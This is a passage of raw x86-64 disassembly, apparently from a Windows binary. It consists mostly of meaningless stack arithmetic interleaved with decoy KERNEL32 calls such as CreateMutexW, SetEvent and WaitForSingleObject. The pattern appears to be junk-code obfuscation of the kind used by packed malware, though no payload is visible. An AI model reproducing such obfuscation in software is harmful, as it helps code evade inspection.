movzx eax, word [rsp + 0x3b4]
movzx ecx, word [rsp + 0x8fc]
sar eax, cl
mov rcx, qword [rsp + 0x4f90]
mov word [rcx], ax
lea rax, [rsp + 0x970]
mov qword [rsp + 0x80f0], rax
mov rax, qword [rsp + 0x6ea0]
mov rcx, qword [rsp + 0x2b68]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x59f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6580]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x21dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fe4], eax
mov rax, qword [rsp + 0x4930]
mov rcx, qword [rsp + 0x7300]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3180], rax
movsx eax, byte [rsp + 0x1cb]
movsx ecx, byte [rsp + 0xc9]
sub eax, ecx
mov rcx, qword [rsp + 0x6238]
mov byte [rcx], al
lea rax, [rsp + 0x994]
mov qword [rsp + 0x80f8], rax
lea rax, [rsp + 0x2d28]
mov qword [0x14018c848], rax
lea rcx, [rsp + 0x158d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x1e50]
movzx ecx, al
mov eax, dword [rsp + 0x1de0]
sar eax, cl
mov rcx, qword [rsp + 0x50d8]
mov dword [rcx], eax
lea rax, [rsp + 0x206]
mov qword [rsp + 0x8100], rax
movsx eax, word [rsp + 0x9a8]
mov rcx, qword [0x14018c828]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc58], ax
mov rax, qword [rsp + 0x4908]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x390]
xor eax, ecx
mov rcx, qword [rsp + 0x4578]
mov word [rcx], ax
lea rax, [rsp + 0x21d8]
mov qword [rsp + 0x8108], rax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4050]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6878]
mov byte [rcx], al
lea rax, [rsp + 0x30c8]
mov qword [rsp + 0x8110], rax
movsx eax, word [rsp + 0xe2c]
mov rcx, qword [rsp + 0x47f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc58], ax
mov rax, qword [rsp + 0x69a8]
movzx eax, word [rax]
mov word [0x14018c850], ax
mov rax, qword [0x14018c6a8]
mov rcx, qword [rsp + 0x7680]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x55c0]
mov qword [rcx], rax
lea rax, [rsp + 0x2ca0]
mov qword [rsp + 0x8118], rax
mov rax, qword [rsp + 0x38d8]
mov rcx, qword [rsp + 0x2ec0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7e68]
mov qword [rcx], rax
lea rax, [rsp + 0xd20]
mov qword [rsp + 0x8120], rax
movsx eax, byte [rsp + 0x1fa]
movsx ecx, byte [rsp + 0x14e]
sar eax, cl
mov byte [rsp + 0xb4], al
mov rax, qword [0x14018c608]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4680]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6910]
mov qword [rcx], rax
lea rax, [rsp + 0x1c04]
mov qword [rsp + 0x8128], rax
mov rax, qword [rsp + 0x40c8]
mov ecx, dword [rsp + 0x1f68]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x21a0], eax
movzx eax, byte [rsp + 0x1d1]
mov byte [rsp + 0x218], al
movsx eax, word [rsp + 0xcc0]
movsx ecx, word [rsp + 0xe88]
and eax, ecx
mov word [0x14018c220], ax
mov rax, qword [rsp + 0x7730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe68]
and eax, ecx
mov rcx, qword [rsp + 0x7020]
mov word [rcx], ax
mov rax, qword [rsp + 0x6d88]
movzx eax, word [rax]
movzx ecx, word [0x14018add4]
and eax, ecx
mov rcx, qword [rsp + 0x4f30]
mov word [rcx], ax
lea rax, [rsp + 0x4550]
mov qword [rsp + 0x8130], rax
mov rax, qword [rsp + 0x6f00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x46e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5418]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5370]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xea], al
mov rax, qword [rsp + 0x4ff8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2068]
shl eax, cl
mov rcx, qword [rsp + 0x4a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6c58]
movzx eax, word [rax]
mov word [rsp + 0xf90], ax
mov rax, qword [rsp + 0x62d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
or eax, ecx
mov word [rsp + 0x390], ax
mov rax, qword [rsp + 0x5e38]
mov rax, qword [rax]
mov qword [0x14018c858], rax
mov rax, qword [rsp + 0x7ac0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x45c]
sar eax, cl
mov rcx, qword [rsp + 0x6870]
mov word [rcx], ax
lea rax, [rsp + 0x2e48]
mov qword [rsp + 0x8138], rax
mov rax, qword [rsp + 0x7488]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x40b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6080]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3930]
mov qword [rsp + 0x8140], rax
movsx eax, byte [rsp + 0x19c]
movsx ecx, byte [rsp + 0x1de]
add eax, ecx
mov rcx, qword [rsp + 0x5dc0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x206]
mov rcx, qword [rsp + 0x7738]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ff], al
lea rax, [rsp + 0x1ec0]
mov qword [rsp + 0x8148], rax
mov rax, qword [rsp + 0x7598]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6bd8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xe88]
movsx ecx, word [rsp + 0xb48]
sar eax, cl
mov word [0x14018ade0], ax
mov rax, qword [rsp + 0x6820]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe84]
and eax, ecx
mov word [rsp + 0x60c], ax
mov rax, qword [0x14018c138]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xebc]
add eax, ecx
mov word [rsp + 0xf80], ax
mov rax, qword [rsp + 0x68b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x720]
sub eax, ecx
mov rcx, qword [rsp + 0x5438]
mov word [rcx], ax
lea rax, [0x14018be10]
mov qword [rsp + 0x8150], rax
mov rax, qword [rsp + 0x5b98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x52c8]
mov qword [rsp + 0x8158], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8158]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5f60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x61a8]
movzx eax, byte [rax]
mov byte [rsp + 0x219], al
mov rax, qword [rsp + 0x4618]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdd4]
xor eax, ecx
mov rcx, qword [rsp + 0x5a78]
mov word [rcx], ax
mov rax, qword [rsp + 0x4920]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc54]
or eax, ecx
mov word [rsp + 0xa44], ax
lea rax, [rsp + 0x3118]
mov qword [0x14018c860], rax
lea rax, [rsp + 0x3320]
mov qword [rsp + 0x8160], rax
mov edx, 0x520
mov rcx, qword [rsp + 0x8090]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x21ac], eax
mov rax, qword [rsp + 0x3f08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4498]
mov qword [rsp + 0x8168], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8168]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5d20]
mov qword [rcx], rax
lea rax, [rsp + 0x2dc8]
mov qword [rsp + 0x8170], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rcx, qword [rsp + 0x7630]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2280], eax
movzx eax, word [rsp + 0xdec]
movzx ecx, word [rsp + 0xdd0]
add eax, ecx
mov rcx, qword [rsp + 0x6e10]
mov word [rcx], ax
lea rax, [rsp + 0x11b]
mov qword [rsp + 0x8178], rax
mov rax, qword [rsp + 0x7c18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1c4c], eax
mov rax, qword [rsp + 0x3d08]
mov rcx, qword [rsp + 0x6168]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3360], rax
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x8180], rax
mov rax, qword [rsp + 0x5238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2124]
sub ecx, eax
mov eax, ecx
mov dword [0x14018ad60], eax
movsx eax, word [rsp + 0x9ec]
movsx ecx, word [0x14018c080]
sar eax, cl
mov rcx, qword [rsp + 0x4298]
mov word [rcx], ax
movsx eax, word [rsp + 0x81c]
movsx ecx, word [rsp + 0xefc]
add eax, ecx
mov word [rsp + 0x3b0], ax
movzx eax, word [rsp + 0xcd8]
movzx ecx, word [rsp + 0xf00]
and eax, ecx
mov word [rsp + 0xc54], ax
mov rax, qword [rsp + 0x41a0]
mov rcx, qword [rsp + 0x2fc8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6268]
mov qword [rcx], rax
lea rax, [rsp + 0x109]
mov qword [rsp + 0x8188], rax
mov eax, dword [rsp + 0x1be0]
movzx ecx, al
mov eax, dword [rsp + 0x2228]
shl eax, cl
mov dword [rsp + 0x1d88], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2248], eax
mov rax, qword [0x14018c448]
mov rax, qword [rax]
mov qword [rsp + 0x8190], rax
movsx eax, word [rsp + 0xc6c]
movsx ecx, word [rsp + 0x3f8]
xor eax, ecx
mov word [rsp + 0xef4], ax
movzx eax, word [rsp + 0xa80]
mov rcx, qword [0x14018c408]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14018c058]
mov word [rcx], ax
mov rax, qword [rsp + 0x6948]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5230]
sar rax, cl
mov qword [rsp + 0x3200], rax
lea rax, [rsp + 0x9dc]
mov qword [rsp + 0x8198], rax
movzx eax, byte [rsp + 0x218]
movzx ecx, byte [0x14018acda]
add eax, ecx
mov rcx, qword [rsp + 0x8000]
mov byte [rcx], al
lea rax, [rsp + 0x20dc]
mov qword [rsp + 0x81a0], rax
mov rax, qword [rsp + 0x76f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e60]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5430]
mov byte [rcx], al
lea rax, [rsp + 0x1d2c]
mov qword [rsp + 0x81a8], rax
mov rax, qword [rsp + 0x5b00]
mov rcx, qword [rsp + 0x77e8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4cb0]
mov qword [rcx], rax
movsx eax, word [rsp + 0xe48]
mov rcx, qword [rsp + 0x4a60]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3fa8]
mov word [rcx], ax
lea rax, [rsp + 0xde4]
mov qword [0x14018c868], rax
lea rax, [0x14018c168]
mov qword [rsp + 0x81b0], rax
mov rax, qword [rsp + 0x5fd0]
mov rcx, qword [rsp + 0x6be8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x53f8]
mov qword [rcx], rax
lea rax, [rsp + 0xcec]
mov qword [rsp + 0x81b8], rax
movzx eax, word [0x14018c198]
movzx ecx, word [rsp + 0xd34]
and eax, ecx
mov word [rsp + 0xc78], ax
mov rax, qword [rsp + 0x2d60]
movzx ecx, al
mov rax, qword [rsp + 0x30c0]
shr rax, cl
mov qword [rsp + 0x4c60], rax
lea rax, [rsp + 0x2240]
mov qword [rsp + 0x81c0], rax
movsx eax, byte [rsp + 0x138]
movsx ecx, byte [rsp + 0xd2]
sub eax, ecx
mov rcx, qword [rsp + 0x4dd8]
mov byte [rcx], al
lea rax, [rsp + 0x2f58]
mov qword [rsp + 0x81c8], rax
movsx eax, word [rsp + 0xe50]
movsx ecx, word [rsp + 0xac4]
add eax, ecx
mov word [0x14018c420], ax
mov rax, qword [0x14018be68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf58]
and eax, ecx
mov rcx, qword [rsp + 0x6180]
mov word [rcx], ax
mov rax, qword [rsp + 0x77c8]
mov ecx, dword [rsp + 0x20fc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x50d8]
mov dword [rcx], eax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x81d0], rax
mov rax, qword [rsp + 0x6030]
mov rcx, qword [rsp + 0x4c10]
mov qword [rsp + 0x81d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x81d8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4218]
mov qword [rcx], rax
lea rax, [rsp + 0x2240]
mov qword [rsp + 0x81e0], rax
movsx eax, byte [rsp + 0x1fa]
movsx ecx, byte [rsp + 0x153]
or eax, ecx
mov rcx, qword [rsp + 0x4fd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5a00]
mov rcx, qword [rsp + 0x7a40]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8190], rax
lea rax, [rsp + 0xf90]
mov qword [rsp + 0x81e8], rax
lea rax, [rsp + 0x720]
mov qword [0x14018c870], rax
mov rax, qword [rsp + 0x2dc8]
movzx ecx, al
mov rax, qword [rsp + 0x5f10]
sar rax, cl
mov qword [rsp + 0x3320], rax
mov rcx, qword [rsp + 0x4de0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x21f8], eax
mov rax, qword [rsp + 0x5cb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb84], ax
movsx eax, word [rsp + 0xf6c]
movsx ecx, word [0x14018bf4c]
and eax, ecx
mov word [rsp + 0x9a8], ax
mov rax, qword [rsp + 0x7430]
mov qword [rsp + 0x81f0], rax
lea rcx, [rsp + 0x157e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x21d4]
mov ecx, dword [rsp + 0x2278]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5938]
mov dword [rcx], eax
mov rax, qword [0x14018bfc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3068]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6aa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x57b8]
movzx eax, byte [rax]
mov byte [rsp + 0x21a], al
movzx eax, word [rsp + 0xcfc]
movzx ecx, word [rsp + 0xd00]
sar eax, cl
mov rcx, qword [rsp + 0x4a30]
mov word [rcx], ax
mov rax, qword [rsp + 0x6f40]
mov rcx, qword [rsp + 0x38a8]
or rcx, rax
mov rax, rcx
mov qword [0x14018ad88], rax
mov rax, qword [rsp + 0x67f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c3]
xor eax, ecx
mov byte [rsp + 0x11f], al
mov rax, qword [rsp + 0x4f68]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4e58]
mov qword [rsp + 0x81f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x81f8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5cc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe50]
add eax, ecx
mov rcx, qword [rsp + 0x6a48]
mov word [rcx], ax
lea rax, [rsp + 0xca4]
mov qword [rsp + 0x8200], rax
mov rax, qword [rsp + 0x63a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3068]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x73c0], rax
lea rax, [rsp + 0x1b50]
mov qword [rsp + 0x8208], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x8210], rax
movsx eax, byte [rsp + 0xb4]
mov rcx, qword [rsp + 0x4d20]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1b2], al
mov rax, qword [rsp + 0x5fe0]
movsx eax, word [rax]
mov rcx, qword [0x14018c7e8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8080]
mov word [rcx], ax
lea rax, [rsp + 0x764]
mov qword [0x14018c878], rax
mov rax, qword [rsp + 0x52c0]
mov qword [rsp + 0x8218], rax
mov rax, qword [rsp + 0x7798]
mov rcx, qword [rsp + 0x2ff8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6968]
mov qword [rcx], rax
lea rax, [0x14018c788]
mov qword [rsp + 0x8220], rax
mov rax, qword [rsp + 0x68d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x45e8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1ca]
mov rcx, qword [rsp + 0x54b0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xf9], al
mov rax, qword [rsp + 0x7888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x59e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4568], rax
mov eax, dword [rsp + 0x1be4]
mov ecx, dword [rsp + 0x218c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2260], eax
lea rax, [0x14018acda]
mov qword [rsp + 0x8228], rax
mov eax, dword [rsp + 0x215c]
mov rcx, qword [rsp + 0x5b78]
mov qword [rsp + 0x8230], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8230]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x4488]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2058], eax
lea rax, [rsp + 0x4f8]
mov qword [0x14018c880], rax
movzx ecx, word [rsp + 0xe94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc74], ax
lea rax, [rsp + 0xf8c]
mov qword [rsp + 0x8238], rax
mov rax, qword [0x14018c078]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5788]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4778]
mov word [rcx], ax
mov rax, qword [rsp + 0x6080]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7d90]
shl rax, cl
mov qword [rsp + 0x7530], rax
movzx eax, byte [rsp + 0x65]
mov byte [rsp + 0x21b], al
mov rax, qword [rsp + 0x78c0]
mov rcx, qword [rsp + 0x2bb0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4a98]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x8240], rax
mov rax, qword [rsp + 0x3eb0]
mov eax, dword [rax]
mov dword [rsp + 0x2284], eax
movsx eax, word [rsp + 0xda0]
movsx ecx, word [rsp + 0xe48]
add eax, ecx
mov rcx, qword [rsp + 0x52b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6c30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6698]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6c30]
mov word [rcx], ax
mov rax, qword [rsp + 0x6448]
mov rcx, qword [rsp + 0x3520]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c580]
mov qword [rcx], rax
lea rax, [rsp + 0xae8]
mov qword [rsp + 0x8248], rax
mov rax, qword [rsp + 0x61e8]
mov rcx, qword [rsp + 0x31f0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x49c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x39b0]
movzx ecx, al
mov rax, qword [rsp + 0x8218]
sar rax, cl
mov qword [rsp + 0x2af0], rax
mov rcx, qword [rsp + 0x6b40]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x14018c470]
mov rcx, qword [rsp + 0x3220]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5d18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6ec0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5e80]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x49b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7820]
movzx eax, byte [rax]
mov byte [rsp + 0x21c], al
mov rax, qword [rsp + 0x7cf0]
mov rcx, qword [rsp + 0x62d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1d08], eax
mov eax, dword [rsp + 0x2050]
mov ecx, dword [rsp + 0x1e0c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1ef4], eax
movsx eax, word [rsp + 0x650]
mov rcx, qword [rsp + 0x4448]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018c758]
mov word [rcx], ax
movsx eax, word [rsp + 0x974]
mov rcx, qword [rsp + 0x5340]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5e40]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x226c], eax
lea rax, [rsp + 0xe78]
mov qword [rsp + 0x8250], rax
movzx eax, word [0x14018ad30]
movzx ecx, word [rsp + 0xba8]
xor eax, ecx
mov rcx, qword [rsp + 0x6d88]
mov word [rcx], ax
mov eax, dword [rsp + 0x1b10]
mov ecx, dword [rsp + 0x20cc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5938]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5158]
mov qword [rsp + 0x8258], rax
mov rax, qword [rsp + 0x44b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16e]
sar eax, cl
mov rcx, qword [rsp + 0x5130]
mov byte [rcx], al
lea rax, [rsp + 0xd74]
mov qword [rsp + 0x8260], rax
mov edx, 0x532
mov rcx, qword [rsp + 0x74e8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x2288], eax
movzx eax, word [rsp + 0x45c]
movzx ecx, word [rsp + 0xef8]
add eax, ecx
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
lea rax, [rsp + 0x2c00]
mov qword [0x14018c888], rax
mov rax, qword [rsp + 0x4a68]
mov rcx, qword [rsp + 0x7c90]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x51a0]
mov qword [rcx], rax
lea rax, [rsp + 0x3610]
mov qword [rsp + 0x8268], rax
mov rax, qword [rsp + 0x4730]
mov rcx, qword [rsp + 0x2fc0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8038]
mov qword [rcx], rax
lea rax, [rsp + 0xe58]
mov qword [rsp + 0x8270], rax
mov eax, dword [rsp + 0x2190]
mov rcx, qword [rsp + 0x7ab8]
mov qword [rsp + 0x8278], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8278]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x7e18]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1da]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6318]
mov byte [rcx], al
lea rax, [rsp + 0x1bec]
mov qword [rsp + 0x8280], rax
movsx eax, byte [rsp + 0x14e]
movsx ecx, byte [rsp + 0x1e0]
add eax, ecx
mov byte [rsp + 0x1cd], al
lea rax, [0x14018ad80]
mov qword [0x14018c890], rax
movzx eax, word [rsp + 0x974]
mov word [rsp + 0xf94], ax
movsx eax, word [rsp + 0xf4c]
mov rcx, qword [rsp + 0x7c80]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe1c], ax
mov rax, qword [rsp + 0x49a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x874]
and eax, ecx
mov word [rsp + 0x4e4], ax
mov rax, qword [rsp + 0x6330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2fc0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c10], rax
movsx eax, byte [rsp + 0x21b]
mov rcx, qword [rsp + 0x6460]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4340]
mov byte [rcx], al
mov eax, dword [rsp + 0x2140]
mov dword [rsp + 0x228c], eax
mov rax, qword [rsp + 0x7f48]
mov rcx, qword [rsp + 0x5ef0]
mov qword [rsp + 0x8288], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8288]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3fc0], rax
mov rax, qword [rsp + 0x6208]
movsx eax, word [rax]
movsx ecx, word [0x14018c620]
sar eax, cl
mov word [rsp + 0x398], ax
mov rax, qword [rsp + 0x7750]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4948]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14018bdc8], ax
mov rax, qword [rsp + 0x63d0]
mov rcx, qword [rsp + 0x5230]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7920]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe7c]
and eax, ecx
mov rcx, qword [rsp + 0x72b0]
mov word [rcx], ax
lea rax, [rsp + 0x15b]
mov qword [rsp + 0x8290], rax
mov rax, qword [rsp + 0x6d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2244]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2210], eax
mov rax, qword [0x14018ad68]
mov qword [rsp + 0x8298], rax
mov rax, qword [rsp + 0x49e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dd]
add eax, ecx
mov rcx, qword [rsp + 0x4290]
mov byte [rcx], al
mov rax, qword [rsp + 0x4a40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2010]
shr eax, cl
mov dword [rsp + 0x2188], eax
movzx eax, word [rsp + 0x81c]
mov word [rsp + 0xf98], ax
mov rax, qword [rsp + 0x4818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7e80]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14018c174], ax
mov rax, qword [rsp + 0x6948]
mov rcx, qword [0x14018c528]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4878], rax
lea rax, [rsp + 0x38d8]
mov qword [rsp + 0x82a0], rax
movsx eax, word [rsp + 0x970]
mov rcx, qword [rsp + 0x6028]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xe2c], ax
mov rax, qword [rsp + 0x6640]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf04]
shl eax, cl
mov word [rsp + 0xd28], ax
mov rax, qword [rsp + 0x4e20]
mov ecx, dword [rsp + 0x2010]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1ea8], eax
mov rax, qword [rsp + 0x4eb0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x56f8]
shr rax, cl
mov rcx, qword [rsp + 0x6768]
mov qword [rcx], rax
lea rax, [rsp + 0x1fc]
mov qword [rsp + 0x82a8], rax
mov rax, qword [rsp + 0x42d0]
mov rcx, qword [rsp + 0x3650]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3320], rax
mov rax, qword [rsp + 0x6f20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a88]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14018ae30], ax
movzx eax, word [0x14018bf60]
mov word [rsp + 0xf9c], ax
mov rax, qword [rsp + 0x77c8]
mov rcx, qword [rsp + 0x4138]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2234], eax
movzx eax, byte [rsp + 0x86]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x71c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5208]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2bc8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ca8], rax
movsx eax, byte [rsp + 0x201]
movsx ecx, byte [rsp + 0x19f]
and eax, ecx
mov rcx, qword [rsp + 0x6bb8]
mov byte [rcx], al
movzx ecx, word [rsp + 0xdf0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd18], ax
lea rax, [0x14018ad0c]
mov qword [rsp + 0x82b0], rax
mov rax, qword [rsp + 0x3e60]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2c80]
shr rax, cl
mov rcx, qword [rsp + 0x5ec8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xed4]
mov rcx, qword [rsp + 0x5f40]
